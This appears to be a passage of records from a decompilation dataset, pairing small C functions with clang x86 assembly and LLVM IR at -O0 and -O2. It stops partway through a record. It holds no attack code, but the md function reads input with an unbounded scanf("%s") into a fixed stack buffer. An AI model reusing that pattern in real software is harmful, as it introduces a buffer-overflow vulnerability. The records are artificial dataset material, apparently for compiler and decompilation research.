xunge/DecIR huggingface dataset:
/* Variables and functions */
int check_string(char *, char *);
int check_table2(char *str) {
  return check_string(str, "^-- Table structure for table");
}


x86 assembly (clang, -O0):
<check_table2>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
lea    0xed9(%rip),%rsi
call   1030 <check_string@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<check_table2>:
lea    0xee9(%rip),%rsi
jmp    1030 <check_string@plt>

LLVM IR (-O0):
@.str = [30 x i8] c"^-- Table structure for table\00"
define i32 @check_table2(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 @check_string(i8* %3, i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str, i64 0, i64 0))
ret i32 %4
}

LLVM IR (-O2):
@.str = [30 x i8] c"^-- Table structure for table\00"
define i32 @check_table2(i8* %0) {
%2 = tail call i32 @check_string(i8* %0, i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str, i64 0, i64 0))
ret i32 %2
}
/* Variables and functions */
scalar_t__ SDL_tan(double);
float SDL_tanf(float x) { return (float)SDL_tan((double)x); }


x86 assembly (clang, -O0):
<SDL_tanf>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movss  %xmm0,-0x4(%rbp)
movss  -0x4(%rbp),%xmm0
cvtss2sd %xmm0,%xmm0
call   1030 <SDL_tan@plt>
cvtsi2ss %rax,%xmm0
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<SDL_tanf>:
push   %rax
cvtss2sd %xmm0,%xmm0
call   1030 <SDL_tan@plt>
xorps  %xmm0,%xmm0
cvtsi2ss %rax,%xmm0
pop    %rax
ret

LLVM IR (-O0):
define float @SDL_tanf(float %0) {
%2 = alloca float
store float %0, float* %2
%3 = load float, float* %2
%4 = fpext float %3 to double
%5 = call i64 @SDL_tan(double %4)
%6 = sitofp i64 %5 to float
ret float %6
}

LLVM IR (-O2):
define float @SDL_tanf(float %0) {
%2 = fpext float %0 to double
%3 = tail call i64 @SDL_tan(double %2)
%4 = sitofp i64 %3 to float
ret float %4
}
/* Variables and functions */
char *convert(double, char *, int, int *, int *, int /*<<< orphan*/);
char *e_cvt(double value, char *buf, int ndigit, int *decpt, int *sign) {
  return convert(value, buf, ndigit, decpt, sign, 0);
}


x86 assembly (clang, -O0):
<e_cvt>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movsd  %xmm0,-0x8(%rbp)
mov    %rdi,-0x10(%rbp)
mov    %esi,-0x14(%rbp)
mov    %rdx,-0x20(%rbp)
mov    %rcx,-0x28(%rbp)
movsd  -0x8(%rbp),%xmm0
mov    -0x10(%rbp),%rdi
mov    -0x14(%rbp),%esi
mov    -0x20(%rbp),%rdx
mov    -0x28(%rbp),%rcx
xor    %r8d,%r8d
call   1030 <convert@plt>
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<e_cvt>:
xor    %r8d,%r8d
jmp    1030 <convert@plt>

LLVM IR (-O0):
define i8* @e_cvt(double %0, i8* %1, i32 %2, i32* %3, i32* %4) {
%6 = alloca double
%7 = alloca i8*
%8 = alloca i32
%9 = alloca i32*
%10 = alloca i32*
store double %0, double* %6
store i8* %1, i8** %7
store i32 %2, i32* %8
store i32* %3, i32** %9
store i32* %4, i32** %10
%11 = load double, double* %6
%12 = load i8*, i8** %7
%13 = load i32, i32* %8
%14 = load i32*, i32** %9
%15 = load i32*, i32** %10
%16 = call i8* @convert(double %11, i8* %12, i32 %13, i32* %14, i32* %15, i32 0)
ret i8* %16
}

LLVM IR (-O2):
define i8* @e_cvt(double %0, i8* %1, i32 %2, i32* %3, i32* %4) {
%6 = tail call i8* @convert(double %0, i8* %1, i32 %2, i32* %3, i32* %4, i32 0)
ret i8* %6
}
/* Type definitions */
struct CMD {
  int dummy;
};

/* Variables and functions */
int creer_repertoire(char *);
int /*<<< orphan*/ perreur(char *);
int /*<<< orphan*/ scanf(char *, char *);
void md(struct CMD *c) {
  char arg[300];
  scanf("%s", arg);
  if (creer_repertoire(arg) == -1)
    perreur(arg);
}


x86 assembly (clang, -O0):
<md>:
push   %rbp
mov    %rsp,%rbp
sub    $0x140,%rsp
mov    %rdi,-0x8(%rbp)
lea    -0x140(%rbp),%rsi
lea    0xeb3(%rip),%rdi
call   1030 <scanf@plt>
lea    -0x140(%rbp),%rdi
call   1040 <creer_repertoire@plt>
cmp    $0xffffffff,%eax
jne    1173 <md+0x43>
lea    -0x140(%rbp),%rdi
call   1050 <perreur@plt>
add    $0x140,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<md>:
push   %rbx
sub    $0x130,%rsp
lea    0xec1(%rip),%rdi
mov    %rsp,%rbx
mov    %rbx,%rsi
call   1030 <scanf@plt>
mov    %rbx,%rdi
call   1040 <creer_repertoire@plt>
cmp    $0xffffffff,%eax
jne    115f <md+0x2f>
mov    %rsp,%rdi
call   1050 <perreur@plt>
add    $0x130,%rsp
pop    %rbx
ret

LLVM IR (-O0):
%struct.CMD = type { i32 }
@.str = [3 x i8] c"%s\00"
define void @md(%struct.CMD* %0) {
%2 = alloca %struct.CMD*
%3 = alloca [300 x i8]
store %struct.CMD* %0, %struct.CMD** %2
%4 = getelementptr inbounds [300 x i8], [300 x i8]* %3, i64 0, i64 0
%5 = call i32 @scanf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i8* %4)
%6 = getelementptr inbounds [300 x i8], [300 x i8]* %3, i64 0, i64 0
%7 = call i32 @creer_repertoire(i8* %6)
%8 = icmp eq i32 %7, -1
br i1 %8, label %9, label %12
9: ; preds = %1
%10 = getelementptr inbounds [300 x i8], [300 x i8]* %3, i64 0, i64 0
%11 = call i32 @perreur(i8* %10)
br label %12
12: ; preds = %9, %1
ret void
}

LLVM IR (-O2):
%struct.CMD = type { i32 }
@.str = [3 x i8] c"%s\00"
define void @md(%struct.CMD* nocapture readnone %0) {
%2 = alloca [300 x i8]
%3 = getelementptr inbounds [300 x i8], [300 x i8]* %2, i64 0, i64 0
%4 = call i32 @scanf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i8* %3)
%5 = call i32 @creer_repertoire(i8* %3)
%6 = icmp eq i32 %5, -1
br i1 %6, label %7, label %9
7: ; preds = %1
%8 = call i32 @perreur(i8* %3)
br label %9
9: ; preds = %7, %1
ret void
}
void copia(void) {
  int i, con;
  extern char linea[], linea_max[];
  i = 0;
  con = 1;
  while (con) {
    *(linea_max + i) = *(linea + i);
    if (*(linea_max + i) == '\0')
      con = 0;
    i++;
  }
}


x86 assembly (clang, -O0):
<copia>:
push   %rbp
mov    %rsp,%rbp
movl   $0x0,-0x4(%rbp)
movl   $0x1,-0x8(%rbp)
cmpl   $0x0,-0x8(%rbp)
je     1165 <copia+0x65>
movslq -0x4(%rbp),%rcx
mov    0x2ec9(%rip),%rax
mov    (%rax,%rcx,1),%dl
movslq -0x4(%rbp),%rcx
mov    0x2ea3(%rip),%rax
mov    %dl,(%rax,%rcx,1)
movslq -0x4(%rbp),%rcx
mov    0x2e95(%rip),%rax
movsbl (%rax,%rcx,1),%eax
cmp    $0x0,%eax
jne    1157 <copia+0x57>
movl   $0x0,-0x8(%rbp)
mov    -0x4(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x4(%rbp)
jmp    1112 <copia+0x12>
pop    %rbp
ret

x86 assembly (clang, -O2):
<copia>:
xor    %eax,%eax
mov    0x2ee7(%rip),%rsi
mov    0x2ec8(%rip),%rdx
movzbl (%rsi,%rax,1),%ecx
mov    %cl,(%rdx,%rax,1)
add    $0x1,%rax
test   %cl,%cl
jne    1110 <copia+0x10>
ret

LLVM IR (-O0):
@linea = external global [0 x i8]
@linea_max = external global [0 x i8]
define void @copia() {
%1 = alloca i32
%2 = alloca i32
store i32 0, i32* %1
store i32 1, i32* %2
br label %3
3: ; preds = %21, %0
%4 = load i32, i32* %2
%5 = icmp ne i32 %4, 0
br i1 %5, label %6, label %24
6: ; preds = %3
%7 = load i32, i32* %1
%8 = sext i32 %7 to i64
%9 = getelementptr inbounds i8, i8* getelementptr inbounds ([0 x i8], [0 x i8]* @linea, i64 0, i64 0), i64 %8
%10 = load i8, i8* %9
%11 = load i32, i32* %1
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds i8, i8* getelementptr inbounds ([0 x i8], [0 x i8]* @linea_max, i64 0, i64 0), i64 %12
store i8 %10, i8* %13
%14 = load i32, i32* %1
%15 = sext i32 %14 to i64
%16 = getelementptr inbounds i8, i8* getelementptr inbounds ([0 x i8], [0 x i8]* @linea_max, i64 0, i64 0), i64 %15
%17 = load i8, i8* %16
%18 = sext i8 %17 to i32
%19 = icmp eq i32 %18, 0
br i1 %19, label %20, label %21
20: ; preds = %6
store i32 0, i32* %2
br label %21
21: ; preds = %20, %6
%22 = load i32, i32* %1
%23 = add nsw i32 %22, 1
store i32 %23, i32* %1
br label %3
24: ; preds = %3
ret void
}

LLVM IR (-O2):
@linea = external global [0 x i8]
@linea_max = external global [0 x i8]
define void @copia() {
br label %1
1: ; preds = %0, %1
%2 = phi i64 [ 0, %0 ], [ %7, %1 ]
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @linea, i64 0, i64 %2
%4 = load i8, i8* %3
%5 = getelementptr inbounds [0 x i8], [0 x i8]* @linea_max, i64 0, i64 %2
store i8 %4, i8* %5
%6 = icmp eq i8 %4, 0
%7 = add nuw i64 %2, 1
br i1 %6, label %8, label %1
8: ; preds = %1
ret void
}
/* Variables and functions */
int /*<<< orphan*/ static_func_1(int, char *, unsigned long);
void func_15(int a, char *b, unsigned long c) { static_func_1(a, b, c); }


x86 assembly (clang, -O0):
<func_15>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    -0x4(%rbp),%edi
mov    -0x10(%rbp),%rsi
mov    -0x18(%rbp),%rdx
call   1030 <static_func_1@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<func_15>:
jmp    1030 <static_func_1@plt>

LLVM IR (-O0):
define void @func_15(i32 %0, i8* %1, i64 %2) {
%4 = alloca i32
%5 = alloca i8*
%6 = alloca i64
store i32 %0, i32* %4
store i8* %1, i8** %5
store i64 %2, i64* %6
%7 = load i32, i32* %4
%8 = load i8*, i8** %5
%9 = load i64, i64* %6
%10 = call i32 @static_func_1(i32 %7, i8* %8, i64 %9)
ret void
}

LLVM IR (-O2):
define void @func_15(i32 %0, i8* %1, i64 %2) {
%4 = tail call i32 @static_func_1(i32 %0, i8* %1, i64 %2)
ret void
}
int tst_si_test3(int a, int b, int c) {
  int d = a & (b << 3);
  if (d <= 0)
    return 12;
  else
    return 18;
}


x86 assembly (clang, -O0):
<tst_si_test3>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
mov    -0x8(%rbp),%eax
mov    -0xc(%rbp),%ecx
shl    $0x3,%ecx
and    %ecx,%eax
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
jg     1131 <tst_si_test3+0x31>
movl   $0xc,-0x4(%rbp)
jmp    1138 <tst_si_test3+0x38>
movl   $0x12,-0x4(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<tst_si_test3>:
shl    $0x3,%esi
test   %edi,%esi
mov    $0xc,%ecx
mov    $0x12,%eax
cmovle %ecx,%eax
ret

LLVM IR (-O0):
define i32 @tst_si_test3(i32 %0, i32 %1, i32 %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
store i32 %0, i32* %5
store i32 %1, i32* %6
store i32 %2, i32* %7
%9 = load i32, i32* %5
%10 = load i32, i32* %6
%11 = shl i32 %10, 3
%12 = and i32 %9, %11
store i32 %12, i32* %8
%13 = load i32, i32* %8
%14 = icmp sle i32 %13, 0
br i1 %14, label %15, label %16
15: ; preds = %3
store i32 12, i32* %4
br label %17
16: ; preds = %3
store i32 18, i32* %4
br label %17
17: ; preds = %16, %15
%18 = load i32, i32* %4
ret i32 %18
}

LLVM IR (-O2):
define i32 @tst_si_test3(i32 %0, i32 %1, i32 %2) {
%4 = shl i32 %1, 3
%5 = and i32 %4, %0
%6 = icmp slt i32 %5, 1
%7 = select i1 %6, i32 12, i32 18
ret i32 %7
}
void RTAvloHCPhysGet(void) {}


x86 assembly (clang, -O0):
<RTAvloHCPhysGet>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<RTAvloHCPhysGet>:
ret

LLVM IR (-O0):
define void @RTAvloHCPhysGet() {
ret void
}

LLVM IR (-O2):
define void @RTAvloHCPhysGet() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ strlen(char const *);
scalar_t__ strncmp(char const *, char const *, int /*<<< orphan*/);
bool startswith(const char *str1, const char *str2) {
  return strncmp(str1, str2, strlen(str1)) == 0;
}


x86 assembly (clang, -O0):
<startswith>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rax
mov    %rax,-0x20(%rbp)
mov    -0x10(%rbp),%rax
mov    %rax,-0x18(%rbp)
mov    -0x8(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x20(%rbp),%rdi
mov    -0x18(%rbp),%rsi
mov    %eax,%edx
call   1030 <strncmp@plt>
cmp    $0x0,%rax
sete   %al
and    $0x1,%al
movzbl %al,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<startswith>:
push   %r14
push   %rbx
push   %rax
mov    %rsi,%r14
mov    %rdi,%rbx
call   1040 <strlen@plt>
mov    %rbx,%rdi
mov    %r14,%rsi
mov    %eax,%edx
call   1030 <strncmp@plt>
xor    %ecx,%ecx
test   %rax,%rax
sete   %cl
mov    %ecx,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
define i32 @startswith(i8* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
store i8* %1, i8** %4
%5 = load i8*, i8** %3
%6 = load i8*, i8** %4
%7 = load i8*, i8** %3
%8 = call i32 @strlen(i8* %7)
%9 = call i64 @strncmp(i8* %5, i8* %6, i32 %8)
%10 = icmp eq i64 %9, 0
%11 = zext i1 %10 to i32
ret i32 %11
}

LLVM IR (-O2):
define i32 @startswith(i8* %0, i8* %1) {
%3 = tail call i32 @strlen(i8* %0)
%4 = tail call i64 @strncmp(i8* %0, i8* %1, i32 %3)
%5 = icmp eq i64 %4, 0
%6 = zext i1 %5 to i32
ret i32 %6
}
/* Variables and functions */
int /*<<< orphan*/ free(void *);
void freeLinkedListData(void *data) { free(data); }


x86 assembly (clang, -O0):
<freeLinkedListData>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <free@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<freeLinkedListData>:
jmp    1030 <free@plt>

LLVM IR (-O0):
define void @freeLinkedListData(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 @free(i8* %3)
ret void
}

LLVM IR (-O2):
define void @freeLinkedListData(i8* nocapture %0) {
%2 = tail call i32 @free(i8* %0)
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ ssize_t;

/* Variables and functions */
int /*<<< orphan*/ snprintf(char *, int, char *, int);
int sysfs_write_attr_str(char const *, char *, int, int /*<<< orphan*/ *);
int sysfs_write_attr_int(const char *path, int data) {
  int rc;
  ssize_t write_len;
  char buff[32];
  snprintf(buff, 32, "%d", data);
  rc = sysfs_write_attr_str(path, buff, 32, &write_len);
  return rc;
}


x86 assembly (clang, -O0):
<sysfs_write_attr_int>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
lea    -0x40(%rbp),%rdi
mov    -0xc(%rbp),%ecx
mov    $0x20,%esi
lea    0xebe(%rip),%rdx
call   1030 <snprintf@plt>
mov    -0x8(%rbp),%rdi
lea    -0x40(%rbp),%rsi
mov    $0x20,%edx
lea    -0x14(%rbp),%rcx
call   1040 <sysfs_write_attr_str@plt>
mov    %eax,-0x10(%rbp)
mov    -0x10(%rbp),%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<sysfs_write_attr_int>:
push   %r14
push   %rbx
sub    $0x38,%rsp
mov    %esi,%ecx
mov    %rdi,%rbx
lea    0xecd(%rip),%rdx
lea    0x10(%rsp),%r14
mov    %r14,%rdi
mov    $0x20,%esi
call   1030 <snprintf@plt>
lea    0xc(%rsp),%rcx
mov    %rbx,%rdi
mov    %r14,%rsi
mov    $0x20,%edx
call   1040 <sysfs_write_attr_str@plt>
add    $0x38,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [3 x i8] c"%d\00"
define i32 @sysfs_write_attr_int(i8* %0, i32 %1) {
%3 = alloca i8*
%4 = alloca i32
%5 = alloca i32
%6 = alloca i32
%7 = alloca [32 x i8]
store i8* %0, i8** %3
store i32 %1, i32* %4
%8 = getelementptr inbounds [32 x i8], [32 x i8]* %7, i64 0, i64 0
%9 = load i32, i32* %4
%10 = call i32 @snprintf(i8* %8, i32 32, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i32 %9)
%11 = load i8*, i8** %3
%12 = getelementptr inbounds [32 x i8], [32 x i8]* %7, i64 0, i64 0
%13 = call i32 @sysfs_write_attr_str(i8* %11, i8* %12, i32 32, i32* %6)
store i32 %13, i32* %5
%14 = load i32, i32* %5
ret i32 %14
}

LLVM IR (-O2):
@.str = [3 x i8] c"%d\00"
define i32 @sysfs_write_attr_int(i8* %0, i32 %1) {
%3 = alloca i32
%4 = alloca [32 x i8]
%5 = bitcast i32* %3 to i8*
%6 = getelementptr inbounds [32 x i8], [32 x i8]* %4, i64 0, i64 0
%7 = call i32 @snprintf(i8* %6, i32 32, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0), i32 %1)
%8 = call i32 @sysfs_write_attr_str(i8* %0, i8* %6, i32 32, i32* %3)
ret i32 %8
}
/* Variables and functions */
int /*<<< orphan*/ puts(char *);
int main(int argc, char **argv) {
  puts("Compiler works");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xed3(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [15 x i8] c"Compiler works\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%6 = call i32 @puts(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [15 x i8] c"Compiler works\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
void gds_swap4bytes(unsigned char *four) {
  static unsigned char temp;
  temp = four[0];
  four[0] = four[3];
  four[3] = temp;
  temp = four[1];
  four[1] = four[2];
  four[2] = temp;
}


x86 assembly (clang, -O0):
<gds_swap4bytes>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%al
mov    %al,0x2f0d(%rip)
mov    -0x8(%rbp),%rax
mov    0x3(%rax),%cl
mov    -0x8(%rbp),%rax
mov    %cl,(%rax)
mov    0x2efa(%rip),%cl
mov    -0x8(%rbp),%rax
mov    %cl,0x3(%rax)
mov    -0x8(%rbp),%rax
mov    0x1(%rax),%al
mov    %al,0x2ee6(%rip)
mov    -0x8(%rbp),%rax
mov    0x2(%rax),%cl
mov    -0x8(%rbp),%rax
mov    %cl,0x1(%rax)
mov    0x2ed2(%rip),%cl
mov    -0x8(%rbp),%rax
mov    %cl,0x2(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<gds_swap4bytes>:
mov    (%rdi),%al
mov    0x3(%rdi),%cl
mov    %cl,(%rdi)
mov    %al,0x3(%rdi)
rolw   $0x8,0x1(%rdi)
ret

LLVM IR (-O0):
@gds_swap4bytes.temp = internal global i8 0
define void @gds_swap4bytes(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = getelementptr inbounds i8, i8* %3, i64 0
%5 = load i8, i8* %4
store i8 %5, i8* @gds_swap4bytes.temp
%6 = load i8*, i8** %2
%7 = getelementptr inbounds i8, i8* %6, i64 3
%8 = load i8, i8* %7
%9 = load i8*, i8** %2
%10 = getelementptr inbounds i8, i8* %9, i64 0
store i8 %8, i8* %10
%11 = load i8, i8* @gds_swap4bytes.temp
%12 = load i8*, i8** %2
%13 = getelementptr inbounds i8, i8* %12, i64 3
store i8 %11, i8* %13
%14 = load i8*, i8** %2
%15 = getelementptr inbounds i8, i8* %14, i64 1
%16 = load i8, i8* %15
store i8 %16, i8* @gds_swap4bytes.temp
%17 = load i8*, i8** %2
%18 = getelementptr inbounds i8, i8* %17, i64 2
%19 = load i8, i8* %18
%20 = load i8*, i8** %2
%21 = getelementptr inbounds i8, i8* %20, i64 1
store i8 %19, i8* %21
%22 = load i8, i8* @gds_swap4bytes.temp
%23 = load i8*, i8** %2
%24 = getelementptr inbounds i8, i8* %23, i64 2
store i8 %22, i8* %24
ret void
}

LLVM IR (-O2):
define void @gds_swap4bytes(i8* nocapture %0) {
%2 = load i8, i8* %0
%3 = getelementptr inbounds i8, i8* %0, i64 3
%4 = load i8, i8* %3
store i8 %4, i8* %0
store i8 %2, i8* %3
%5 = getelementptr inbounds i8, i8* %0, i64 1
%6 = load i8, i8* %5
%7 = getelementptr inbounds i8, i8* %0, i64 2
%8 = load i8, i8* %7
store i8 %8, i8* %5
store i8 %6, i8* %7
ret void
}
/* Variables and functions */
char *strchr(const char *str, int c) {
  for (; *str; str++)
    if ((*str) == c)
      return (char *)(str);
  return NULL;
}


x86 assembly (clang, -O0):
<strchr>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x10(%rbp)
mov    %esi,-0x14(%rbp)
mov    -0x10(%rbp),%rax
cmpb   $0x0,(%rax)
je     114b <strchr+0x4b>
mov    -0x10(%rbp),%rax
movsbl (%rax),%eax
cmp    -0x14(%rbp),%eax
jne    1135 <strchr+0x35>
mov    -0x10(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    1153 <strchr+0x53>
jmp    113a <strchr+0x3a>
mov    -0x10(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x10(%rbp)
jmp    110b <strchr+0xb>
movq   $0x0,-0x8(%rbp)
mov    -0x8(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<strchr>:
mov    (%rdi),%cl
test   %cl,%cl
je     1123 <strchr+0x23>
mov    %rdi,%rax
nopl   0x0(%rax)
movsbl %cl,%ecx
cmp    %esi,%ecx
je     1125 <strchr+0x25>
movzbl 0x1(%rax),%ecx
add    $0x1,%rax
test   %cl,%cl
jne    1110 <strchr+0x10>
xor    %eax,%eax
ret

LLVM IR (-O0):
define i8* @strchr(i8* %0, i32 %1) {
%3 = alloca i8*
%4 = alloca i8*
%5 = alloca i32
store i8* %0, i8** %4
store i32 %1, i32* %5
br label %6
6: ; preds = %19, %2
%7 = load i8*, i8** %4
%8 = load i8, i8* %7
%9 = icmp ne i8 %8, 0
br i1 %9, label %10, label %22
10: ; preds = %6
%11 = load i8*, i8** %4
%12 = load i8, i8* %11
%13 = sext i8 %12 to i32
%14 = load i32, i32* %5
%15 = icmp eq i32 %13, %14
br i1 %15, label %16, label %18
16: ; preds = %10
%17 = load i8*, i8** %4
store i8* %17, i8** %3
br label %23
18: ; preds = %10
br label %19
19: ; preds = %18
%20 = load i8*, i8** %4
%21 = getelementptr inbounds i8, i8* %20, i32 1
store i8* %21, i8** %4
br label %6
22: ; preds = %6
store i8* null, i8** %3
br label %23
23: ; preds = %22, %16
%24 = load i8*, i8** %3
ret i8* %24
}

LLVM IR (-O2):
define i8* @strchr(i8* %0, i32 %1) {
%3 = load i8, i8* %0
%4 = icmp eq i8 %3, 0
br i1 %4, label %14, label %5
5: ; preds = %2, %10
%6 = phi i8 [ %12, %10 ], [ %3, %2 ]
%7 = phi i8* [ %11, %10 ], [ %0, %2 ]
%8 = sext i8 %6 to i32
%9 = icmp eq i32 %8, %1
br i1 %9, label %14, label %10
10: ; preds = %5
%11 = getelementptr inbounds i8, i8* %7, i64 1
%12 = load i8, i8* %11
%13 = icmp eq i8 %12, 0
br i1 %13, label %14, label %5
14: ; preds = %5, %10, %2
%15 = phi i8* [ null, %2 ], [ null, %10 ], [ %7, %5 ]
ret i8* %15
}
/* Variables and functions */
int /*<<< orphan*/ wifi_lock();
int /*<<< orphan*/ wifi_unlock();
int wpa_disable(char *);
int wpa_enable(char *);
int Wifi_Enable(char *id, int enable) {
  int ret;
  wifi_lock();
  ret = enable ? wpa_enable(id) : wpa_disable(id);
  wifi_unlock();
  return ret;
}


x86 assembly (clang, -O0):
<Wifi_Enable>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    $0x0,%al
call   1030 <wifi_lock@plt>
cmpl   $0x0,-0xc(%rbp)
je     1171 <Wifi_Enable+0x31>
mov    -0x8(%rbp),%rdi
call   1060 <wpa_enable@plt>
mov    %eax,-0x14(%rbp)
jmp    117d <Wifi_Enable+0x3d>
mov    -0x8(%rbp),%rdi
call   1040 <wpa_disable@plt>
mov    %eax,-0x14(%rbp)
mov    -0x14(%rbp),%eax
mov    %eax,-0x10(%rbp)
mov    $0x0,%al
call   1050 <wifi_unlock@plt>
mov    -0x10(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<Wifi_Enable>:
push   %rbp
push   %rbx
push   %rax
mov    %esi,%ebp
mov    %rdi,%rbx
xor    %eax,%eax
call   1030 <wifi_lock@plt>
mov    %rbx,%rdi
test   %ebp,%ebp
je     115d <Wifi_Enable+0x1d>
call   1060 <wpa_enable@plt>
jmp    1162 <Wifi_Enable+0x22>
call   1040 <wpa_disable@plt>
mov    %eax,%ebx
xor    %eax,%eax
call   1050 <wifi_unlock@plt>
mov    %ebx,%eax
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
define i32 @Wifi_Enable(i8* %0, i32 %1) {
%3 = alloca i8*
%4 = alloca i32
%5 = alloca i32
store i8* %0, i8** %3
store i32 %1, i32* %4
%6 = call i32 (...) @wifi_lock()
%7 = load i32, i32* %4
%8 = icmp ne i32 %7, 0
br i1 %8, label %9, label %12
9: ; preds = %2
%10 = load i8*, i8** %3
%11 = call i32 @wpa_enable(i8* %10)
br label %15
12: ; preds = %2
%13 = load i8*, i8** %3
%14 = call i32 @wpa_disable(i8* %13)
br label %15
15: ; preds = %12, %9
%16 = phi i32 [ %11, %9 ], [ %14, %12 ]
store i32 %16, i32* %5
%17 = call i32 (...) @wifi_unlock()
%18 = load i32, i32* %5
ret i32 %18
}

LLVM IR (-O2):
define i32 @Wifi_Enable(i8* %0, i32 %1) {
%3 = tail call i32 (...) @wifi_lock()
%4 = icmp eq i32 %1, 0
br i1 %4, label %7, label %5
5: ; preds = %2
%6 = tail call i32 @wpa_enable(i8* %0)
br label %9
7: ; preds = %2
%8 = tail call i32 @wpa_disable(i8* %0)
br label %9
9: ; preds = %7, %5
%10 = phi i32 [ %6, %5 ], [ %8, %7 ]
%11 = tail call i32 (...) @wifi_unlock()
ret i32 %10
}
/* Variables and functions */
int /*<<< orphan*/ strupper(char *);
char *xstrdup(char const *);
char *xstrupper(const char *str) {
  char *copy = xstrdup(str);
  strupper(copy);
  return copy;
}


x86 assembly (clang, -O0):
<xstrupper>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <xstrdup@plt>
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
call   1040 <strupper@plt>
mov    -0x10(%rbp),%rax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<xstrupper>:
push   %rbx
call   1030 <xstrdup@plt>
mov    %rax,%rbx
mov    %rax,%rdi
call   1040 <strupper@plt>
mov    %rbx,%rax
pop    %rbx
ret

LLVM IR (-O0):
define i8* @xstrupper(i8* %0) {
%2 = alloca i8*
%3 = alloca i8*
store i8* %0, i8** %2
%4 = load i8*, i8** %2
%5 = call i8* @xstrdup(i8* %4)
store i8* %5, i8** %3
%6 = load i8*, i8** %3
